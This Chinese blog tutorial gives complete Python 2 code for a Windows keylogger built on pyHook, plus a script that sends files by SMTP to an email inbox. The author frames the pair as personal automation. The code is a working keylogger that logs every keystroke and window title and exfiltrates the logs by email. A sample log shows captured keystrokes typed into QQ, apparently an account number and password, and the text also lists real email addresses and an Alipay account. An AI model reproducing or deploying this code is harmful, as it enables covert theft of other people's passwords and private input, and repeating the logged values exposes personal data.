Windows搭建环境
需要的东西
1.安装python2.7
2.pyHook-1.5.1.win-amd64-py2.7.exe 即pyHook模块
3.pywin32-218.win-amd64-py2.7.exe 即pywin32模块
我这有直接把需要的模块安装包名列出来,并不是一定要这个安装包,而是我的观众们可以根据比如pyhook去找模块下载适合自己的版本
# -*- coding: utf-8 -*-
import os
import sys
import pythoncom
import pyHook
import time,os
import win32api
def onMouseEvent(event):
# """监听鼠标事件"""
global preWindowName, switch
if not os.path.exists(mouseFilepath):
os.makedirs(mouseFilepath)
if switch:
localTime = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
datafileName = localTime[:localTime.find(" ")] + ".txt"
#time WindowName
if not os.path.exists(mouseFilepath + datafileName):
f = open(mouseFilepath + datafileName, "w")
f.write("localTime windowname\n")
f.close()
if type(event.WindowName) == str:
if event.WindowName != preWindowName:
datafileContent = localTime + ', ' + event.WindowName + '\n'
f = open(mouseFilepath + datafileName, "a")
f.write(datafileContent)
f.close()
preWindowName = event.WindowName
#返回True以便将事件传给其他处理程序
pass
return True
def onKeyboardEvent(event):
"""监听键盘事件"""
global switch
if not os.path.exists(keyboardFilepath):
os.makedirs(keyboardFilepath)
if switch:
localTime = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
datafileName = localTime[:localTime.find(" ")] + ".txt"
#time keyvalue Key WindowName
if not os.path.exists(keyboardFilepath + datafileName):
f = open(keyboardFilepath + datafileName, "w")
f.write("localTime keyvalue key windowname\n")
f.close()
if type(event.WindowName) == str:
datafileContent = localTime + ', ' + chr(event.Ascii) + ', ' \
+ event.Key + ', ' + event.WindowName + '\n'
f = open(keyboardFilepath + datafileName, "a")
f.write(datafileContent)
f.close()
if event.KeyID == 120:#Key=F9
switch = True
#按下F12才能真正结束
elif event.KeyID == 123:#Key=F12
win32api.PostQuitMessage()
sys.exit()
#把python当快捷键监听,如果是按下F10就打开我的桌面图标motv,类似的你可以多定义几个,这就是你的自定义快捷键功能
elif event.KeyID == 121:
import subprocess
p = subprocess.Popen("cmd.exe /c" + "C:\\Users\\Administrator\\Desktop\\motv.lnk", stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
print event.KeyID
#同鼠标监听事件函数的返回值
return True
def main():
"""创建一个'钩子'管理对象"""
hm = pyHook.HookManager()
#监听所有键盘事件
hm.KeyDown = onKeyboardEvent
#设置键盘'钩子'
hm.HookKeyboard()
#监听所有鼠标事件
hm.MouseAll = onMouseEvent
#设置鼠标'钩子'
hm.HookMouse()
print 'wocaocoaocaocoaoc'
#进入循环,如不手动关闭,程序将一直处于监听状态
pythoncom.PumpMessages(1000)
print 'PumpMessages'
# os.exit()
if __name__ == '__main__':
keyboardFilepath = "./log/keyboard/"
mouseFilepath = "./log/mouse/"
preWindowName = ''
switch = True #控制是否开启日志功能
main()
运行这个.py文件,然后就会开启监听你的键盘点击事件和鼠标点击事件,并在运行的目录下生成log文件夹,分别存放记录鼠标事件的mouse/2016-06-29.txt和记录记录按键事件的keyboard/2016-06-29.txt
这里略微放出我自己记录的部分内容
比如记录keyboard/
localTime keyvalue key windowname
2016-06-29 11:58:14, a, A, C:\Users\Administrator\Desktop\er\python\log\mouse
2016-06-29 11:58:14, w, W, a - C:\Users\Administrator\Desktop\er\python\log\mouse
2016-06-29 11:58:16, �, Back, aw - search-ms:displayname=“mouse”中的搜索结果&crumb=location:C%3A%5CUsers%5CAdministrator%5CDesktop%
2016-06-29 11:58:16, �, Back, C:\Users\Administrator\Desktop\er\python\log\mouse
2016-06-29 11:58:27, 9, Numpad9, QQ
2016-06-29 11:58:27, 0, Numpad0, QQ
2016-06-29 11:58:28, 4, Numpad4, QQ
2016-06-29 11:58:28, 1, Numpad1, QQ
2016-06-29 11:58:28, 0, Numpad0, QQ
2016-06-29 11:58:29, 4, Numpad4, QQ
2016-06-29 11:58:29, 2, Numpad2, QQ
2016-06-29 11:58:29, 8, Numpad8, QQ
2016-06-29 11:58:29, 8, Numpad8, QQ
2016-06-29 11:58:30, , Tab, QQ
2016-06-29 11:58:31, �, Back, QQEdit
2016-06-29 11:58:32, b, B, QQEdit
2016-06-29 11:58:32, d, D, QQEdit
2016-06-29 11:58:32, e, E, QQEdit
2016-06-29 11:58:33, n, N, QQEdit
2016-06-29 11:58:33, r, R, QQEdit
2016-06-29 11:58:33, a, A, QQEdit
2016-06-29 11:58:33, s, S, QQEdit
2016-06-29 11:58:34, d, D, QQEdit
2016-06-29 11:58:34, v, V, QQEdit
2016-06-29 11:58:34, f, F, QQEdit
2016-06-29 11:58:34, 7, 7, QQEdit
2016-06-29 11:58:34, 8, 8, QQEdit
2016-06-29 11:58:35, 3, 3, QQEdit
2016-06-29 11:58:35, 0, 0, QQEdit
2016-06-29 11:58:35, 4, 4, QQEdit
2016-06-29 11:58:36, 8, 8, QQEdit
2016-06-29 11:58:36,
, Return, QQEdit
2016-06-29 11:58:40, �, Escape, C:\Users\Administrator\Desktop\er\python\01.py (erjie34x, 427Second, cpp-tests, 病毒源码, bbframework, shadertry, office, aini, react_native_office, motv, shape32, monv32) - Sublime Text 2 (UNREGISTERED)
和比如mouse
localTime windowname
2016-06-29 11:58:06, C:\Users\Administrator\Desktop\er\python\01.py (erjie34x, 427Second, cpp-tests, 病毒源码, bbframework, shadertry, office, aini, react_native_office, motv, shape32, monv32) - Sublime Text 2 (UNREGISTERED)
2016-06-29 11:58:08, C:\Users\Administrator\Desktop\er\python
2016-06-29 11:58:15, Suggest
2016-06-29 11:58:16, ShellView
2016-06-29 11:58:18, C:\Users\Administrator\Desktop\er\python\log
2016-06-29 11:58:18, C:\Users\Administrator\Desktop\er\python
2016-06-29 11:58:18, https://www.google.com/ - 魂淡乆衲飏的浏览器
2016-06-29 11:58:18, FolderView
2016-06-29 11:58:19, https://www.google.com/ - 魂淡乆衲飏的浏览器
2016-06-29 11:58:19, FolderView
2016-06-29 11:58:19, 酷狗音乐
2016-06-29 11:58:19, FolderView
2016-06-29 11:58:19, F:\sourceTree\dj\demo\app\code.py (427Second, AwesomeProject, demo, gitfeed, reading-Al, xiaogongju, core, shadertry, effect, office, shape, motv) - Sublime Text 2 (UNREGISTERED)
2016-06-29 11:58:20, C:\Users\Administrator\Desktop\er\python
2016-06-29 11:58:20, C:\Users\Administrator\Desktop\er\python\log
2016-06-29 11:58:20, 地址: C:\Users\Administrator\Desktop\er\python\log
2016-06-29 11:58:20, 树视图
2016-06-29 11:58:20, C:\Users\Administrator\Desktop\er\python\01.py (erjie34x, 427Second, cpp-tests, 病毒源码, bbframework, shadertry, office, aini, react_native_office, motv, shape32, monv32) - Sublime Text 2 (UNREGISTERED)
2016-06-29 11:58:20, FolderView
当然这些仅仅作为一点点成功的示范,期待你们搭建好自己的python环境将代码运行起来
有了记录当然要发到邮箱啦
# -*- coding: utf-8 -*-
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
SMTPserver = 'smtp.126.com'
sender = '[发送邮箱@126.com](mailto:changwei821@126.com)'
password = "密码"
#创建一个带附件的实例
msg = MIMEMultipart()
OpenPath = 'C:\Users\Administrator\Desktop\找点东西看看\廖雪峰Python3.pdf'
OpenPath = unicode(OpenPath,"utf8")
fin = open(OpenPath,'rb')
print 'suce'
#构造附件1
att1 = MIMEText(fin.read(), 'base64', 'gb2312')
att1["Content-Type"] = 'application/octet-stream'
att1["Content-Disposition"] = 'attachment; filename="wocao.pdf"'#这里的filename可以任意写,写什么名字,邮件中显示什么名字
msg.attach(att1)
#加邮件头
msg['to'] = '[发送邮箱@126.com](mailto:changwei821@126.com)'
msg['from'] = '[接收邮箱@qq.com](mailto:429304451@qq.com)'
msg['subject'] = 'hello world'
mailserver = smtplib.SMTP(SMTPserver, 25)
#mailserver.set_debuglevel(1)
mailserver.login(sender, password)
mailserver.sendmail(sender, ['[接收邮箱@qq.com](mailto:429304451@qq.com)'], msg.as_string())
mailserver.quit()
print 'send email success'
就这样,键盘监听和把键盘监听的内容发送到自己邮箱的代码就都有了,给自己生活带来点自动化的操作还是不错的
到此为止就算结束了
Creater BBus.YouChangwei
我叫雷轰-支付宝changwei821@126.com